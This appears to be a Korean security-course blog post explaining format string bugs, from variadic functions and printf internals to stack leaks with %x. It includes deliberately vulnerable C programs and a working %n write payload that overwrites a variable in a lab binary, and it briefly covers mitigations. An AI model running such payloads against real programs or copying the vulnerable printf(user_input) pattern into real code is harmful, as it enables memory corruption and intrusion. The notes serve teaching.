[SSS] Format String Bug
Variadic function은 인자의 개수가 정해져 있지 않은 함수를 의미한다.
#include <stdarg.h>
#include <stdio.h>
void printNumbers(int Narg, ...) {
va_list args;
va_start(args, Narg);
for (int i = 0; i < Narg; i++) {
int num = va_arg(args, int);
printf("%d ", num);
}
va_end(args);
printf("\n");
}
int main() {
printNumbers(3, 10, 20, 30);
return 0;
}

Variadic function을 사용할 때의 스택이다.
Narg가 2로 설정된건 int, double의 pair 개수를 의미한다.
va_start 매크로로 인자가 시작하는 위치를 찾고
va_list 로 가변 인자 목록을 가리키는 포인터 변수를 선언한다.
va_arg 로 list 포인터를 type 크기만큼 이동시키며 인자를 꺼낸다.
printf에서도 가변 인자를 위와 같은 방식으로 처리한다.
%d를 100번 넣게 되면 va_arg도 100번 호출해 포인터를 이동시킨다.
포맷스트링으로 입력한 모든 인자들은 일단 스택에 저장된다.
#include <stdio.h>
void fmtstr()
{
char input[100];
int var = 0x11223344;
/* print out information for experiment purpose */
printf("Target address: %x\n", (unsigned) &var);
printf("Data at target address: 0x%x\n", var);
printf("Please enter a string: ");
fgets(input, sizeof(input)-1, stdin);
printf(input); // The vulnerable place
printf("\nData at target address: 0x%x\n", var);
}
int main()
{
fmtstr();
return 0;
}

앞서 말했듯, printf 함수는 인자를 가리키는 포인터를 사용한다.
va_list 포인터는 포맷스트링 바로 위의 주소를 가리키고 있고, 스택 위로 이동하면서 인자들을 가져온다.
이 취약점을 사용해 Crash Program, Data Print, 메모리 변조, 악성 코드 주입 등 다양한 공격을 수행할 수 있다.
Program Crash
%s는 스택에 저장된 값이 주소값이라고 가정하고 그 주소를 읽어오는 역할을 수행한다.
%s%s%s%s를 입력했다고 해 보자. 특정 주소 값이 유효하지 않은 주소를 가리킬 경우 Segamentation fault 에러를 발생시킨다.
Print Out Data on the Stack
printf 함수는 서식 문자열을 명령어처럼 인식한다.
입력값으로 %x %x %x %x 를 입력한다면, 스택에 있는 값들을 순서대로 읽어서 16진수로 출력하게 된다.
Memory Manipulation
%n은 %n이 나오기 전 까지 프린트됐던 문자의 개수를 메모리 주소에 찍어주는 역할을 수행한다.
printf("hello%n", &i); 명령어를 수행하면 i라는 값에는 글자수 5가 들어간다.
특정 변수의 값을 65로 바꾸고 싶으면 어떻게든 65개의 문자를 출력하고 %n으로 해당 변수의 주소에 65를 써 넣을 수 있다.
input에 echo printf ("\x04\xf3\xff\xbf").%xn.%x.%x.%x.%x.%x.%n > input 를 입력했다고 하자.
값을 바꾸고 싶은 변수 var의 주소를 리틀엔디안으로 표현해서 넣어준다.
이후 명령어 치환으로 공격 문자열의 맨 앞 4바이트를 var변수의 주소로 채워넣을 수 있다.
안그래도 주소를 알기 어려운데 ASLR 적용하면 var의 주소를 알아내기가 더 어렵다.
그러니..여러 취약점을 통해 var의 메모리 주소를 역산해서 알아낸 후 공격해야 한다.
공격 format을 만드는것도 일이고.. 공격 대상의 주소를 알아내는것도 일이고.. BOF 등 여러 취약점과 함께 사용하는것도 일이고..
FSB를 막기 위해서, 사용자 입력을 format으로 사용하는걸 지양하자.
컴파일러가 format과 input의 개수가 일치하지 않을 때 경고 해 주는 것도 도움이 된다.
Address Randomization으로 프로그램이 활성화 될 때 마다 주소를 섞어주는 것도 도움은 되지만.. 근본적인 해결책이 되지는 않는다.
#include <stdio.h>
int main(){
int a = 10;
int b = 20;
printf("A:%d, B:%d and B's address: %08x\n", a, b, &b);
return 0;
}

printf 함수가 실행되기 직전에 프로그램이 멈춰야 하니 main 함수에 브레이크를 걸자.
run 후 n과 ni명령어를 적당히 사용하다 보면 정확히 printf 직전에 멈출 수 있다.

현재 ESP는 포맷스트링이 저장된 주소를 가리키고, 그 위에부터는 인자로 입력한 0xa / 0x14 / b의 주소를 가리킨다.
printf 함수는 첫 번째 인자인 format을 그대로 사용하니.. format을 사용자가 조작할 수 있다면 공격으로 이어질 수 있다.
#include <stdio.h>
int main(){
int buf[30];
gets(buf);
printf(buf);
printf("\n%s\n", buf);
return 0;
}

프로그램을 컴파일하고 실행해보면.. 사용자가 직접 format을 지정할 때, 스택 메모리의 값을 읽을 수 있음을 확인할 수 있다.
16진수 문자열은 첫 번째 printf(buf)의 결과이고, 입력받은 %x%x 문자열을 format으로 받아들이고 스택 메모리의 값을 출력했다.
두 번째 문자열은 원본 문자열을 그대로 출력한다. %x%x...

확인해보면.. 프린트로 출력되는 문자열과 실제 스택 메모리의 데이터가 같음을 확인할 수 있다.
#include <stdio.h>
void main() {
int num = 0;
char buf[100];
gets(buf);
printf("buf=%s\n", buf, &num);
printf("\nnum=%d\n", num);
}

입력이 AAAA 일 때는 buf= + AAAA 로 글자수가 8개니 num에 8이 저장되고,
입력이 AAAAAA 일 때는 글자수가 10개라서 num에 10이 저장된다.
#include <stdio.h>
int num = 1111;
int main(void)
{
char buf[20];
gets(buf);
printf(buf);
puts("");
if(num == 7777)
printf("Success!!\n"); // Can you print me?!
else
printf("fail..\n");
printf("num : %d\n", num);
}


41414141은 식별용으로 넣어둔 문자열 AAAA가 16진수로 변환된 값이다.
이 값이 6번째에 위치하니, 버퍼의 시작 주소가 printf 함수에게는 6번째로 인식됨을 확인할 수 있다.
readelf 명령어로 변수의 주소를 찾아보자.
num 변수의 주소는 0x0804a028 이다.
이제 타겟 주소와 버퍼 위치를 알아냈으니, 두 정보를 조합해서 num의 값을 7777로 바꾸는 공격 페이로드를 작성하자.
(python -c 'print "\x28\xa0\x04\x08" + "%7773c" + "%6$n"') | ./task4
타겟의 주소를 작성할 때는 리틀 엔디안으로 작성해야 한다.
num에 저장할 값은 7777이다. 앞에 넣은 주소가 4바이트를 차지하니 printf가 %n을 만나기 전 까지 출력한 문자 수의 합이 7777이 되기 위해서는 7773을 사용한다. (7773c : 출력된 내용이 총 7773칸을 차지하도록 공백을 추가)
'Computer Science > Computer Security' 카테고리의 다른 글
| [SSS] Race Condition (0) | 2025.10.20 |
|---|---|
| [SSS] Return Oriented Programming (0) | 2025.10.09 |
| [SSS] Control Flow Hijacking - Shellcode (0) | 2025.09.29 |
| [SSS] Control Flow Hijacking - Buffer Overflow (0) | 2025.09.21 |
| [SSS] Set-UID Privileged Programs (0) | 2025.09.13 |
댓글
이 글 공유하기
다른 글
-
[SSS] Race Condition
[SSS] Race Condition
2025.10.20 -
[SSS] Return Oriented Programming
[SSS] Return Oriented Programming
2025.10.09 -
[SSS] Control Flow Hijacking - Shellcode
[SSS] Control Flow Hijacking - Shellcode
2025.09.29 -
[SSS] Control Flow Hijacking - Buffer Overflow
[SSS] Control Flow Hijacking - Buffer Overflow
2025.09.21